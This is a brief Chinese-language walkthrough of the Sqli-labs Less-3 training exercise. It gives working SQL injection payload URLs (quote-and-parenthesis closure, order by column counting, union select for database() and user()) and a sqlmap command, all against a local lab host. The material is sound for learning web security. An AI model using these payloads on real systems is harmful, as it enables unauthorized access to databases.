Sqli-labs-Less-3
前言:
SQL注入的三个条件:
①参数可控;(从参数输入就知道参数可控)
②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断)
③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)
利用 order by 来测列数
测显位:mysql用1,2,3,4
Mysql获取相关数据:
一、数据库版本-看是否认符合information_schema查询-version()
二、数据库用户-看是否符合root型注入攻击-user()
三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
四、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
#手工注入
1.根据提示id传参,id=1',利用单引号' 测试判断注入参数闭合方式,根据报错提示发现这题是id值的闭合方式为单引号'+小括号)
http://192.168.0.7:802/sqli-labs/Less-3/?id=1'
2.利用oder by 判断列数 / 联合查询 sql注入--+
主要目的是注释闭合后续的单引号和小括号。
得到 字段数 为3
http://192.168.0.7:802/sqli-labs/Less-3/?id=1') order by 4 --+
3.利用回显位,爆库名、当前用户。 得到数据库名为security,当前用户为:root@localhost。
http://192.168.0.7:802/sqli-labs/Less-3/?id=18') union select 1,database(),user()--+
成功利用sql漏洞!!!
#自动化注入-SQLmap工具注入
python sqlmap.py -u http://192.168.0.7:802/sqli-labs/Less-3/?id=1 --current-db --current-user
爆库名、当前用户。 得到数据库名为security,当前用户为:root@localhost。